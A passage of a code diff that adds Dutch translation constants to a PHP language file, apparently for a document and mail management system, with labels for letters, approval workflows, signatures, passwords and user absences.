define('_THE_DOCUMENTS_LINK', 'De brieven'); +} +if (!defined('_LINK_TO_THE_DOCUMENT')) { + define('_LINK_TO_THE_DOCUMENT', 'De verbinding met het brief'); +} +if (!defined('_NO_LINK_WITH_THIS_ONE')) { + define('_NO_LINK_WITH_THIS_ONE', 'is niet meer hiermee verbonden'); +} +if (!defined('_LINK_DELETED')) { + define('_LINK_DELETED', 'werd verwijderd'); +} +if (!defined('_VERSIONS')) { + define('_VERSIONS', 'Versies'); +} +if (!defined('_CREATE_NEW_VERSION')) { + define('_CREATE_NEW_VERSION', 'Een nieuwe documentversie aanmaken'); +} +if (!defined('_CONTENT_MANAGEMENT_COMMENT')) { + define('_CONTENT_MANAGEMENT_COMMENT', 'Beheer van de Documentversies'); +} +if (!defined('_VIEW_VERSIONS')) { + define('_VIEW_VERSIONS', 'De documentversies bekijken'); +} +if (!defined('_ADD_NEW_VERSION')) { + define('_ADD_NEW_VERSION', 'Een nieuwe documentversie toevoegen'); +} +if (!defined('_VIEW_ORIGINAL')) { + define('_VIEW_ORIGINAL', 'Het originele document bekijken'); +} +if (!defined('_PJ')) { + define('_PJ', 'Bijlagen'); +} +if (!defined('_CONSULT')) { + define('_CONSULT', 'Raadplegen'); +} +if (!defined('_DOCUMENTS_LIST_WITH_ATTACHMENTS')) { + define('_DOCUMENTS_LIST_WITH_ATTACHMENTS', 'Lijst met filter en antwoorden'); +} +if (!defined('_DOCUMENTS_LIST_BY_MODIFICATION')) { + define('_DOCUMENTS_LIST_BY_MODIFICATION', 'Lijst gefilterd op wijzigingsdatum'); +} +if (!defined('_QUALIFY_FIRST')) { + define('_QUALIFY_FIRST', 'De gedetailleerde fiche is leeg omdat het brief gekwalificeerd moet worden'); +} +if (!defined('_SET_PERSISTENT_MODE_ON')) { + define('_SET_PERSISTENT_MODE_ON', 'De persistentie activeren'); +} +if (!defined('_SET_PERSISTENT_MODE_ON_DESC')) { + define('_SET_PERSISTENT_MODE_ON_DESC', 'Om een brief in een bakje te bewaren ongeacht zijn status. Voegt het gegeven in de tabel basket_persistent_mode.'); +} +if (!defined('_SET_PERSISTENT_MODE_OFF')) { + define('_SET_PERSISTENT_MODE_OFF', 'De persistentie uitschakelen'); +} +if (!defined('_SET_PERSISTENT_MODE_OFF_DESC')) { + define('_SET_PERSISTENT_MODE_OFF_DESC', 'Reset het weergavegedrag van het brief in het bakje. Verwijdert het gegeven in de tabel basket_persistent_mode.'); +} +if (!defined('_ADMIN_LISTS')) { + define('_ADMIN_LISTS', 'Lijstenbeheer'); +} +if (!defined('_ADMIN_LISTS_DESC')) { + define('_ADMIN_LISTS_DESC', 'De resultatenlijsten bepalen.'); +} +if (!defined('_LISTS_LIST')) { + define('_LISTS_LIST', 'Lijsten'); +} +if (!defined('_LISTS_COMMENT')) { + define('_LISTS_COMMENT', 'Lijstenbeheer'); +} +if (!defined('_LOCK_LIST')) { + define('_LOCK_LIST', 'Lijstvergrendeling'); +} +if (!defined('_LOCKED')) { + define('_LOCKED', 'Vergrendeld'); +} +if (!defined('_PRINCIPAL_LIST')) { + define('_PRINCIPAL_LIST', 'Hoofdlijst'); +} +if (!defined('_SUBLIST')) { + define('_SUBLIST', 'Sublijst'); +} +if (!defined('_TOGGLE')) { + define('_TOGGLE', 'Weergeven / Verbergen'); +} +if (!defined('_HELP_LIST_KEYWORDS')) { + define('_HELP_LIST_KEYWORDS', 'Hulp bij de vergrendelingsclausules'); +} +if (!defined('_HELP_LIST_KEYWORD1')) { + define('_HELP_LIST_KEYWORD1', '<b>Met de vergelijkingsoperatoren</b> kunnen twee waarden vergeleken worden: a == b :Gelijk a <> b of a != b :Verschilt a < b : Kleiner dan a > b : Groter.'); +} +if (!defined('_HELP_LIST_KEYWORD2')) { + define('_HELP_LIST_KEYWORD2', '<b>De logische operatoren</b>: a && b: EN ( And ) Waar indien a EN b waar zijn a || b OF ( Or ) Waar indien a OF b waar is.'); +} +if (!defined('_HELP_LIST_KEYWORD_EXEMPLE_TITLE')) { + define('_HELP_LIST_KEYWORD_EXEMPLE_TITLE', 'Vergrendelingsvoorwaarde van de lijnen de lijst/sublijst.<br><br>De toevoeging van de parameter <b>@@veldnaam@@</b> verwijst naar de waarde van het criteriumveld. Er kunnen meerdere verschillende @@veldnaam@@ in de verklaring voorkomen.'); +} +if (!defined('_HELP_LIST_KEYWORD_EXEMPLE')) { + define('_HELP_LIST_KEYWORD_EXEMPLE', 'Bv.: @@status@@ <> NEW || @@type_id@@ <> 10<br><br>Bv.: (@@doctype_secon_level ==50 && @@dest_user@@==bblier\) || doctype_secon_level == 10'); +} +if (!defined('_SYNTAX_ERROR_LOCK_CLAUSE')) { + define('_SYNTAX_ERROR_LOCK_CLAUSE', 'Fout in de syntax van de vergrendelingsclause'); +} +if (!defined('_DOCUMENTS_LIST_WITH_FILTERS')) { + define('_DOCUMENTS_LIST_WITH_FILTERS', 'Lijst met filters'); +} +if (!defined('_DOCUMENTS_LIST_WITH_ATTACHMENTS')) { + define('_DOCUMENTS_LIST_WITH_ATTACHMENTS', 'Lijst met filter en antwoorden'); +} +if (!defined('_DOCUMENTS_LIST_COPIES')) { + define('_DOCUMENTS_LIST_COPIES', 'Lijst van de kopieën'); +} +if (!defined('_DOCUMENTS_LIST_EXTEND')) { + define('_DOCUMENTS_LIST_EXTEND', 'Uitgebreide lijst'); +} +if (!defined('_DOCUMENTS_LIST')) { + define('_DOCUMENTS_LIST', 'Eenvoudige lijst'); +} +if (!defined('_DOCUMENTS_LIST_SEARCH')) { + define('_DOCUMENTS_LIST_SEARCH', 'Uitgebreide lijst'); +} +if (!defined('_CLICK_ICON_TO_TOGGLE')) { + define('_CLICK_ICON_TO_TOGGLE', 'Klik op de icoon voor Weergeven / Verbergen'); +} +if (!defined('_SHOW')) { + define('_SHOW', 'Weergeven'); +} +if (!defined('_LINES')) { + define('_LINES', 'lijnen'); +} +if (!defined('_NO_TEMPLATE_FILE_AVAILABLE')) { + define('_NO_TEMPLATE_FILE_AVAILABLE', 'Sjabloon niet beschikbaar'); +} +if (!defined('_GED')) { + define('_GED', 'GED nr.'); +} +if (!defined('_EMAIL_FROM_ADDRESS')) { + define('_EMAIL_FROM_ADDRESS', 'E-mail van'); +} +if (!defined('_EMAIL_TO_ADDRESS')) { + define('_EMAIL_TO_ADDRESS', 'E-mail voor'); +} +if (!defined('_EMAIL_CC_ADDRESS')) { + define('_EMAIL_CC_ADDRESS', 'E-mail kopie'); +} +if (!defined('_EMAIL_ID')) { + define('_EMAIL_ID', 'E-mail ID'); +} +if (!defined('_EMAIL_ACCOUNT')) { + define('_EMAIL_ACCOUNT', 'E-mail account'); +} +if (!defined('_HELP_KEYWORD_EMAIL')) { + define('_HELP_KEYWORD_EMAIL', 'E-mail van de verbonden gebruiker'); +} +if (!defined('_EMAIL_DRAFT_SAVED')) { + define("_EMAIL_DRAFT_SAVED", "Draft saved_TO_TRANSLATE"); +} +if (!defined('_INITIATOR')) { + define('_INITIATOR', 'Aanvangende dienst'); +} +if (!defined('_INITIATORS')) { + define('_INITIATORS', 'Aanvangende dienst(en)'); +} +if (!defined('_QUALIF_BUSINESS')) { + define('_QUALIF_BUSINESS', 'Kwalificatie van de documenten van de businessverzameling'); +} +if (!defined('_PROCESS_BUSINESS')) { + define('_PROCESS_BUSINESS', 'Verwerking van de documenten van de businessverzameling'); +} +if (!defined('_BUSINESS_LIST')) { + define('_BUSINESS_LIST', 'Lijst van de businessdocumenten'); +} +if (!defined('_INDEXING_BUSINESS')) { + define('_INDEXING_BUSINESS', '[business] Een document bewaren'); +} +if (!defined('_ADV_SEARCH_BUSINESS')) { + define('_ADV_SEARCH_BUSINESS', '[business] Een document opzoeken'); +} +if (!defined('_DEPARTMENT_OWNER')) { + define('_DEPARTMENT_OWNER', 'Eigenaarsdienst'); +} +if (!defined('_PARAMETER')) { + define('_PARAMETER', 'Instelling'); +} +if (!defined('_PARAMETER_S')) { + define('_PARAMETER_S', 'Instelling(en)'); +} +if (!defined('_ALL_PARAMETERS')) { + define('_ALL_PARAMETERS', 'Alle'); +} +if (!defined('_ADMIN_PARAMETERS')) { + define('_ADMIN_PARAMETERS', 'De instellingen beheren'); +} +if (!defined('_ADMIN_PRIORITIES')) { + define('_ADMIN_PRIORITIES', 'Prioriteiten'); +} +if (!defined('_PRIORITY_DAYS')) { + define('_PRIORITY_DAYS', 'Verwerkingstermijn in dagen'); +} +if (!defined('_WORKING_DAYS')) { + define('_WORKING_DAYS', 'Werkdagen'); +} +if (!defined('_CALENDAR_DAYS')) { + define('_CALENDAR_DAYS', 'Kalenderdagen'); +} +if (!defined('_ADD_PARAMETER')) { + define('_ADD_PARAMETER', 'Nieuwe instelling'); +} +if (!defined('_VALUE')) { + define('_VALUE', 'Waarde'); +} +if (!defined('_STRING')) { + define('_STRING', 'Karakterreeks'); +} +if (!defined('_INT')) { + define('_INT', 'Geheel getal'); +} +if (!defined('_DATE')) { + define('_DATE', 'Datum'); +} +if (!defined('_ID_IS_MANDATORY')) { + define('_ID_IS_MANDATORY', 'Gebruikersnaam verplicht'); +} +if (!defined('_INVALID_PARAMETER_ID')) { + define('_INVALID_PARAMETER_ID', 'Gebruikersnaam ongeldig (enkel de tekens A-Z a-z 0-9 en _ zijn toegelaten'); +} +if (!defined('_VALUE_IS_MANDATORY')) { + define('_VALUE_IS_MANDATORY', 'Verplichte waarde'); +} +if (!defined('_GLOBAL_SEARCH_BUSINESS')) { + define('_GLOBAL_SEARCH_BUSINESS', 'Algemeen doorzoeken van documenten'); +} +if (!defined('_QUICK_SEARCH')) { + define('_QUICK_SEARCH', 'Snelle opzoeking'); +} +if (!defined('_FROM_WS')) { + define('_FROM_WS', 'Vanuit een webservice'); +} +if (!defined('_DOCUMENT')) { + define('_DOCUMENT', 'document'); +} +if (!defined('_NOT_EXISTS')) { + define('_NOT_EXISTS', 'bestaat niet'); +} +if (!defined('_CHOOSE_TYPE')) { + define('_CHOOSE_TYPE', 'Kies een typologie'); +} +if (!defined('_DEPARTMENT_OWNER')) { + define('_DEPARTMENT_OWNER', 'Eenheid waartoe het behoort'); +} +if (!defined('_FOLDER')) { + define('_FOLDER', 'Seriële map'); +} +if (!defined('_CHOOSE_CURRENT_STATUS')) { + define('_CHOOSE_CURRENT_STATUS', 'Huidige status bewaren'); +} +if (!defined('_PRINT_DOC_FROM_LIST')) { + define('_PRINT_DOC_FROM_LIST', 'De verbindingsfiches van de brieven afdrukken'); +} +if (!defined('_PRINT_LIST')) { + define('_PRINT_LIST', 'De lijst afdrukken'); +} +if (!defined('_PRINT_CATEGORY')) { + define('_PRINT_CATEGORY', 'Categorie'); +} +if (!defined('_PRINT_DOC_DATE')) { + define('_PRINT_DOC_DATE', 'Datum van het brief'); +} +if (!defined('_PRINT_PROCESS_LIMIT_DATE')) { + define('_PRINT_PROCESS_LIMIT_DATE', 'Verwerkingsdeadline'); +} +if (!defined('_PRINT_PRIORITY')) { + define('_PRINT_PRIORITY', 'Prioriteit'); +} +if (!defined('_PRINT_CONTACT')) { + define('_PRINT_CONTACT', 'CONTACT'); +} +if (!defined('_PRINT_SUBJECT')) { + define('_PRINT_SUBJECT', 'ONDERWERP'); +} +if (!defined('_PRINT_DATE')) { + define('_PRINT_DATE', 'Afdrukdatum'); +} +if (!defined('_PRINT_FOLDER')) { + define('_PRINT_FOLDER', 'Map'); +} +if (!defined('_PRINT_ARBOX')) { + define('_PRINT_ARBOX', 'Archiefdoos'); +} +if (!defined('_PRINT_STATUS')) { + define('_PRINT_STATUS', 'Status'); +} +if (!defined('_PRINT_ALT_IDENTIFIER')) { + define('_PRINT_ALT_IDENTIFIER', 'Chrononummer'); +} +if (!defined('_PRINTED_FILE_NUMBER')) { + define('_PRINTED_FILE_NUMBER', 'Verbindingsfiche'); +} +if (!defined('_CREATED_ON')) { + define('_CREATED_ON', 'Aangemaakt op'); +} +if (!defined('_MULTI')) { + define('_MULTI', 'Multi'); +} +if (!defined('_MULTI_CONTACTS')) { + define('_MULTI_CONTACTS', 'Veelvuldige contacten'); +} +if (!defined('_CONTACT_EXTERNAL')) { + define('_CONTACT_EXTERNAL', 'Extern contact'); +} +if (!defined('_CONTACT_INTERNAL')) { + define('_CONTACT_INTERNAL', 'Intern contact'); +} +if (!defined('_MONITORING_NUMBER')) { + define('_MONITORING_NUMBER', 'Aanbevolen nr.'); +} +if (!defined('_EXPORT_CONTACT')) { + define('_EXPORT_CONTACT', 'Contacten exporteren'); +} +if (!defined('_WITHOUT_FILE')) { + define('_WITHOUT_FILE', 'Zonder bestand'); +} +if (!defined('_ONLY_ALPHANUM')) { + define('_ONLY_ALPHANUM', 'Enkel alfanumerieke tekens worden aanvaard'); +} +if (!defined('_ONLY_ALPHABETIC')) { + define('_ONLY_ALPHABETIC', 'Enkel alfabetische tekens worden aanvaard'); +} +if (!defined('_CLOSE_MAIL_AND_INDEX')) { + define('_CLOSE_MAIL_AND_INDEX', 'Een brief afsluiten en de indexering starten'); +} +if (!defined('_CLOSE_MAIL_AND_INDEX_DESC')) { + define('_CLOSE_MAIL_AND_INDEX_DESC', 'Om de afsluitingsdatum van een brief bij te werken (closing_date van tabel res_letterbox) EN de indexeringspagina te openen om een nieuw document te bewaren.'); +} +if (!defined('_DOC_NOT_CLOSED')) { + define('_DOC_NOT_CLOSED', 'Deze brief is niet afgesloten'); +} +if (!defined('_SECURITY_MESSAGE')) { + define('_SECURITY_MESSAGE', 'Veiligheidsboodschap'); +} +if (!defined('_SECURITY_MESSAGE_DETAILS')) { + define('_SECURITY_MESSAGE_DETAILS', 'Verzoek van XSS type niet toegestaan'); +} +if (!defined('_CHOOSE_ENTITY_SUBENTITIES')) { + define('_CHOOSE_ENTITY_SUBENTITIES', 'Kies een eenheid (+ subeenhe(i)d(en))'); +} +if (!defined('_TAG_ADMIN')) { + define('_TAG_ADMIN', 'Beheer van de .strtolower(_TAG_DEFAULT)'); +} +if (!defined('_REFERENCE_MAIL')) { + define('_REFERENCE_MAIL', 'Referentie brief verzender'); +} +if (!defined('_OTHERS_INFORMATIONS')) { + define('_OTHERS_INFORMATIONS', 'Andere informatie (ondertekenaars, instructies enz...)'); +} +if (!defined('_ALL_HISTORY')) { + define('_ALL_HISTORY', 'Volledige geschiedenis'); +} +if (!defined('_DESCRIPTION')) { + define('_DESCRIPTION', 'Beschrijving'); +} +if (!defined('_MOVE_CONTACT_ADDRESS')) { + define('_MOVE_CONTACT_ADDRESS', 'Verplaatsing van het adres naar een ander contact'); +} +if (!defined('_INFO_MOVE_CONTACT_ADDRESS')) { + define('_INFO_MOVE_CONTACT_ADDRESS', 'Dit gedeelte wordt gebruikt indien u het adres naar een nieuw contact verplaatst. De documenten (indien er zijn) worden aan ditzelfde adres gekoppeld.'); +} +if (!defined('_MOVE')) { + define('_MOVE', 'Verplaatsen'); +} +if (!defined('_DELETE_CONTACT_ADDRESS')) { + define('_DELETE_CONTACT_ADDRESS', 'Het adres verwijderen'); +} +if (!defined('_REALLY_MOVE')) { + define('_REALLY_MOVE', 'Wilt u echt verplaatsen'); +} +if (!defined('_ADDRESS_MOVED')) { + define('_ADDRESS_MOVED', 'Adres verplaatst'); +} +if (!defined('_SAVE_MODIFICATION')) { + define('_SAVE_MODIFICATION', 'De wijzigingen bewaren'); +} +if (!defined('_CONFIDENTIALITY')) { + define('_CONFIDENTIALITY', 'Vertrouwelijk'); +} +if (!defined('_CONFIDENTIAL')) { + define('_CONFIDENTIAL', 'Vertrouwelijk'); +} +if (!defined('_CONFIDENTIAL_DOCUMENTS')) { + define('_CONFIDENTIAL_DOCUMENTS', 'Vertrouwelijke brief (ven)'); +} +if (!defined('_SIGNATORY_NAME')) { + define('_SIGNATORY_NAME', 'Naam van de ondertekenaar'); +} +if (!defined('_SIGNATORY_GROUP')) { + define('_SIGNATORY_GROUP', 'Groep van de ondertekenaar'); +} +if (!defined('_FORMAT_PHONE')) { + define('_FORMAT_PHONE', 'Indeling: 06 01 02 03 04'); +} +if (!defined('_SIGNATURE')) { + define('_SIGNATURE', 'Handtekening'); +} +if (!defined('_SEND_MAIL')) { + define('_SEND_MAIL', 'Verzending van de map per e-mail'); +} +if (!defined('_IMPRIM_DOSSIER')) { + define('_IMPRIM_DOSSIER', 'Map afdrukken'); +} +if (!defined('_PROCEED_WORKFLOW')) { + define('_PROCEED_WORKFLOW', 'Het goedkeuringscircuit verderzetten'); +} +if (!defined('_PROCEED_WORKFLOW_DESC')) { + define('_PROCEED_WORKFLOW_DESC', 'Werkt de datum bij van de huidige goedkeurder / ondertekenaar die in het goedkeuringscircuit van het brief aanwezig is (process_date van de tabel listinstance).'); +} +if (!defined('_INTERRUPT_WORKFLOW')) { + define('_INTERRUPT_WORKFLOW', 'Het goedkeuringscircuit onderbreken'); +} +if (!defined('_INTERRUPT_WORKFLOW_DESC')) { + define('_INTERRUPT_WORKFLOW_DESC', 'Werkt de datum bij van de huidige goedkeurder / ondertekenaar en van alle volgende goedkeurders die in het goedkeuringscircuit van het brief aanwezig zijn (process_date van de tabel listinstance). Voegt eveneens een onderbrekingsbericht op de huidige goedkeurder in (process_comment van de tabel listinstance).'); +} +if (!defined('_RESET_VISA_WORKFLOW')) { + define('_RESET_VISA_WORKFLOW', 'Goedkeuring weigeren - terug naar opsteller'); +} +if (!defined('_RESET_VISA_WORKFLOW_DESC')) { + define('_RESET_VISA_WORKFLOW_DESC', 'Reset de datum van alle huidige goedkeurders die in het goedkeuringscircuit van het brief aanwezig zijn (process_date van de tabel listinstance).'); +} +if (!defined('_REJECTION_WORKFLOW_PREVIOUS')) { + define('_REJECTION_WORKFLOW_PREVIOUS', 'De goedkeuring weigeren - terug naar de vorige goedkeurder'); +} +if (!defined('_REJECTION_WORKFLOW_PREVIOUS_DESC')) { + define('_REJECTION_WORKFLOW_PREVIOUS_DESC', 'Reset de datum van de vorige goedkeurder die in het goedkeuringscircuit van het brief aanwezig is (process_date van de tabel listinstance).'); +} +if (!defined('_VISA_MAIL')) { + define('_VISA_MAIL', 'De e-mail goedkeuren'); +} +if (!defined('_PREPARE_VISA')) { + define('_PREPARE_VISA', 'Het goedkeuringscircuit voorbereiden'); +} +if (!defined('_SEND_TO_VISA')) { + define('_SEND_TO_VISA', 'Versturen voor goedkeuring'); +} +if (!defined('_SEND_TO_VISA_DESC')) { + define('_SEND_TO_VISA_DESC', 'Controleert of er een goedkeuringscircuit is geconfigureerd EN of er één of meerdere antwoordprojecten aan het brief gekoppeld zijn.'); +} +if (!defined('_MAIL_WILL_DISAPPEAR')) { + define('_MAIL_WILL_DISAPPEAR', 'Deze brief gaat uw perimeter te buiten. U zal er daarna geen toegang meer tot kunnen hebben.'); +} +if (!defined('_COMPONENT')) { + define('_COMPONENT', 'Component'); +} +if (!defined('_MARK_AS_READ')) { + define('_MARK_AS_READ', 'Markeren als gelezen'); +} +if (!defined('_MARK_AS_READ_DESC')) { + define('_MARK_AS_READ_DESC', 'Markeert het document als gelezen in het bakje. Voegt het gegeven van de res_mark_as_read in de tabel in (nuttig indien gebruikt in de bakjes clauses)'); +} +if (!defined('_USE_PREVIOUS_ADDRESS')) { + define('_USE_PREVIOUS_ADDRESS', 'Een adres hergebruiken'); +} +if (!defined('_SEARCH_INDICATION')) { + define('_SEARCH_INDICATION', 'geeft aan dat er gezocht wordt in de brieven en de bijlagen'); +} +if (!defined('_CONNECTION_CAS_OK')) { + define('_CONNECTION_CAS_OK', 'CAS authenticatie OK'); +} +if (!defined('_CAS_SAML_NOT_SUPPORTED')) { + define('_CAS_SAML_NOT_SUPPORTED', 'Het SAML 1.1 protocol wordt nog niet beheerd.'); +} +if (!defined('_PROTOCOL_NOT_SUPPORTED')) { + define('_PROTOCOL_NOT_SUPPORTED', 'Er wordt geen rekening gehouden met dit CAS protocol.'); +} +if (!defined('_USER_NOT_EXIST')) { + define('_USER_NOT_EXIST', 'Deze gebruiker bestaat niet in de applicatie.'); +} +if (!defined('_VISIBLE_BY')) { + define('_VISIBLE_BY', 'Zichtbaar door'); +} +if (!defined('_FINAL_DISPOSITION')) { + define('_FINAL_DISPOSITION', 'Uiteindelijke lot'); +} +if (!defined('_CHOOSE_FINAL_DISPOSITION')) { + define('_CHOOSE_FINAL_DISPOSITION', 'Keuze van het uiteindelijke lot'); +} +if (!defined('_DESTROY')) { + define('_DESTROY', 'Vernietiging'); +} +if (!defined('_KEEP')) { + define('_KEEP', 'Bewaring'); +} +if (!defined('_RETENTION_RULE')) { + define('_RETENTION_RULE', 'Bewaringsregel'); +} +if (!defined('_DURATION_CURRENT_USE')) { + define('_DURATION_CURRENT_USE', 'Gewoonlijke nutsduur'); +} +if (!defined('_UNSELECT_ALL')) { + define('_UNSELECT_ALL', 'Selectie volledig ongedaan maken'); +} +if (!defined('_ARCHIVE_TRANSFER_COLL')) { + define('_ARCHIVE_TRANSFER_COLL', 'Archivering'); +} +if (!defined('_UNREACHABLE_DOCSERVER')) { + define('_UNREACHABLE_DOCSERVER', 'Pad docserver onbereikbaar'); +} +if (!defined('_MANAGE_MY_SIGNATURES')) { + define('_MANAGE_MY_SIGNATURES', 'Mijn handtekeningen beheren'); +} +if (!defined('_MY_GROUPS')) { + define('_MY_GROUPS', 'Mijn Groepen'); +} +if (!defined('_SECONDARY_GROUP')) { + define('_SECONDARY_GROUP', 'Secundaire groep'); +} +if (!defined('_MY_ENTITIES')) { + define('_MY_ENTITIES', 'Mijn Eenheden'); +} +if (!defined('_PRIMARY_ENTITY')) { + define('_PRIMARY_ENTITY', 'Primaire eenheid'); +} +if (!defined('_SECONDARY_ENTITY')) { + define('_SECONDARY_ENTITY', 'Secundaire eenheid'); +} +if (!defined('_MY_INFORMATIONS')) { + define('_MY_INFORMATIONS', 'Mijn informatie'); +} +if (!defined('_DIGITAL_FINGERPRINT')) { + define('_DIGITAL_FINGERPRINT', 'Digitale afdruk'); +} +if (!defined('_UPDATE_PSW')) { + define('_UPDATE_PSW', 'Uw wachtwoord wijzigen'); +} +if (!defined('_CURRENT_PSW')) { + define('_CURRENT_PSW', 'Huidig wachtwoord'); +} +if (!defined('_NEW_PSW')) { + define('_NEW_PSW', 'Nieuw wachtwoord'); +} +if (!defined('_UPDATED_PROFILE')) { + define('_UPDATED_PROFILE', 'Uw profiel werd wel degelijk gewijzigd'); +} +if (!defined('_WRONG_PSW')) { + define('_WRONG_PSW', 'Het huidige wachtwoord is niet correct'); +} +if (!defined('_EMPTY_PSW_FORM')) { + define('_EMPTY_PSW_FORM', 'Het formulier van het wachtwoord is onvolledig'); +} +if (!defined('_UPDATED_PASSWORD')) { + define('_UPDATED_PASSWORD', 'Uw wachtwoord werd wel degelijk gewijzigd'); +} +if (!defined('_SB_SIGNATURES')) { + define('_SB_SIGNATURES', 'Handtekeningen van de parafeerder'); +} +if (!defined('_NEW_SIGNATURE')) { + define('_NEW_SIGNATURE', 'Nieuwe handtekening toegevoegd'); +} +if (!defined('_UPDATED_SIGNATURE')) { + define('_UPDATED_SIGNATURE', 'Gewijzigde handtekening'); +} +if (!defined('_DELETED_SIGNATURE')) { + define('_DELETED_SIGNATURE', 'Verwijderde handtekening'); +} +if (!defined('_DEFINE_NEW_SIGNATURE')) { + define('_DEFINE_NEW_SIGNATURE', 'Nieuwe handtekening'); +} +if (!defined('_SIGNATURE_LABEL')) { + define('_SIGNATURE_LABEL', 'Label van de handtekening'); +} +if (!defined('_UPDATE_SIGNATURE')) { + define('_UPDATE_SIGNATURE', 'De handtekening wijzigen'); +} +if (!defined('_DELETE_SIGNATURE')) { + define('_DELETE_SIGNATURE', 'De handtekening verwijderen'); +} +if (!defined('_CLICK_ON')) { + define('_CLICK_ON', 'Klik op'); +} +if (!defined('_TO_ADD_SIGNATURE')) { + define('_TO_ADD_SIGNATURE', 'om een handtekening toe te voegen'); +} +if (!defined('_TO_UPDATE_SIGNATURE')) { + define('_TO_UPDATE_SIGNATURE', 'om de gedownloade handtekening te wijzigen'); +} +if (!defined('_EMAIL_SIGNATURES')) { + define('_EMAIL_SIGNATURES', 'Mailhandtekeningen'); +} +if (!defined('_EMPTY_EMAIL_SIGNATURE_FORM')) { + define('_EMPTY_EMAIL_SIGNATURE_FORM', 'Het formulier van de handtekening is onvolledig'); +} +if (!defined('_NEW_EMAIL_SIGNATURE')) { + define('_NEW_EMAIL_SIGNATURE', 'Nieuwe mailhandtekening toegevoegd'); +} +if (!defined('_UPDATED_EMAIL_SIGNATURE')) { + define('_UPDATED_EMAIL_SIGNATURE', 'Mailhandtekening gewijzigd'); +} +if (!defined('_DELETED_EMAIL_SIGNATURE')) { + define('_DELETED_EMAIL_SIGNATURE', 'Mailhandtekening verwijderd'); +} +if (!defined('_UNDEFINED_USER')) { + define('_UNDEFINED_USER', 'Niet geregistreerde gebruiker'); +} +if (!defined('_CHOOSE_BASKET_TO_REDIRECT')) { + define('_CHOOSE_BASKET_TO_REDIRECT', 'Kies een bakje'); +} +if (!defined('_ACTIVATE_MY_ABSENCE')) { + define('_ACTIVATE_MY_ABSENCE', 'Mijn afwezigheid inschakelen'); +} +if (!defined('_AUTO_LOGOUT_AFTER_BASKETS_REDIRECTIONS')) { + define('_AUTO_LOGOUT_AFTER_BASKETS_REDIRECTIONS', 'Nadat u uw bakjesomleidingen heeft bepaald, zal uw verbinding automatisch verbroken worden.'); +} +if (!defined('_ADMIN_USER_MODIFICATION')) { + define('_ADMIN_USER_MODIFICATION', 'Wijziging van de gebruiker'); +} +if (!defined('_ADDED_GROUP')) { + define('_ADDED_GROUP', 'Toegevoegde groep'); +} +if (!defined('_UPDATED_GROUP')) { + define('_UPDATED_GROUP', 'Gewijzigde groep'); +} +if (!defined('_DELETED_GROUP')) { + define('_DELETED_GROUP', 'Verwijderde groep'); +} +if (!defined('_ADDED_ENTITY')) { + define('_ADDED_ENTITY', 'Toegevoegde eenheid '); +} +if (!defined('_UPDATED_ENTITY')) { + define('_UPDATED_ENTITY', 'Gewijzigde eenheid'); +} +if (!defined('_DELETED_ENTITY')) { + define('_DELETED_ENTITY', 'Verwijderde eenheid'); +} +if (!defined('_MANAGE_SIGNATURES')) { + define('_MANAGE_SIGNATURES', 'De handtekeningen beheren'); +} +if (!defined('_MANAGE_ABSENCES')) { + define('_MANAGE_ABSENCES', 'De afwezigheden beheren'); +} +if (!defined('_REINITIALIZE_PASSWORD')) { + define('_REINITIALIZE_PASSWORD', 'Wachtwoord opnieuw instellen'); +} +if (!defined('_RESET_PASSWORD')) { + define('_RESET_PASSWORD', 'Wachtwoord opnieuw ingesteld'); +} +if (!defined('_ACTIVATE_ABSENCE')) { + define('_ACTIVATE_ABSENCE', 'De afwezigheid inschakelen'); +} +if (!defined('_DEACTIVATE_ABSENCE')) { + define('_DEACTIVATE_ABSENCE', 'De afwezigheid uitschakelen'); +} +if (!defined('_ABSENCE_ACTIVATED')) { + define('_ABSENCE_ACTIVATED', 'De gebruiker wordt nu als afwezig beschouwd'); +} +if (!defined('_ABSENCE_DEACTIVATED')) { + define('_ABSENCE_DEACTIVATED', 'De gebruiker wordt nu als actief beschouwd'); +} +if (!defined('_ABS')) { + define('_ABS', 'Afwezig'); +} +if (!defined('_ACTIVE')) { + define('_ACTIVE', 'Actief'); +} +if (!defined('_INACTIVE')) { + define('_INACTIVE', 'Niet actief'); +} +if (!defined('_ADDED_PRIORITY')) { + define('_ADDED_PRIORITY', 'Toegevoegde prioriteit'); +} +if (!defined('_UPDATED_PRIORITY')) { + define('_UPDATED_PRIORITY', 'Gewijzigde prioriteit'); +} +if (!defined('_DELETED_PRIORITY')) { + define('_DELETED_PRIORITY', 'Verwijderde prioriteit'); +} +if (!defined('_FOR_USER')) { + define('_FOR_USER', 'voor de gebruiker'); +} +if (!defined('_BY_USER')) { + define('_BY_USER', 'door de gebruiker'); +} +if (!defined('_ADDED_USER')) { + define('_ADDED_USER', 'heeft de gebruiker toegevoegd'); +} +if (!defined('_REMOVED_USER')) { + define('_REMOVED_USER', 'heeft de gebruiker verwijderd'); +} +if (!defined('_FROM_GROUP')) { + define('_FROM_GROUP', 'van de groep'); +} +if (!defined('_FROM_ENTITY')) { + define('_FROM_ENTITY', 'van de eenheid'); +} +if (!defined('_IN_GROUP')) { + define('_IN_GROUP', 'aan de groep'); +} +if (!defined('_IN_ENTITY')) { + define('_IN_ENTITY', 'aan de eenheid'); +} +if (!defined('_ADMIN_UPDATE_CONTROL')) { + define('_ADMIN_UPDATE_CONTROL', 'Controle van de bijwerking'); +} +if (!defined('_YOUR_VERSION')) { + define('_YOUR_VERSION', 'Uw huidige versie'); +} +if (!defined('_AVAILABLE_VERSION_TO_UPDATE')) { + define('_AVAILABLE_VERSION_TO_UPDATE', 'Beschikbare versies'); +} +if (!defined('_CLICK_HERE_TO_GO_TO_UPDATE_MANAGEMENT')) { + define('_CLICK_HERE_TO_GO_TO_UPDATE_MANAGEMENT', 'De updateprocedure starten'); +} +if (!defined('_NEW_MAJOR_VERSION_AVAILABLE')) { + define('_NEW_MAJOR_VERSION_AVAILABLE', 'Nieuwe belangrijke versie(s) beschikbaar'); +} +if (!defined('_BRANCH_VERSION')) { + define('_BRANCH_VERSION', 'Tak'); +} +if (!defined('_TAG_VERSION')) { + define('_TAG_VERSION', 'Tag'); +} +if (!defined('_CONNECT_YOU_IN_SUPERADMIN')) { + define('_CONNECT_YOU_IN_SUPERADMIN', 'U moet als superadmin verbonden zijn om tot de updateprocedure toegang te hebben'); +} +if (!defined('_UPDATE_WELCOME')) { + define('_UPDATE_WELCOME', 'Update'); +} +if (!defined('_UPDATE_WELCOME_INSTALL')) { + define('_UPDATE_WELCOME_INSTALL', 'Updateprocedure'); +} +if (!defined('_UPDATE_DESC_INSTALL')) { + define('_UPDATE_DESC_INSTALL', 'Updateprocedure van 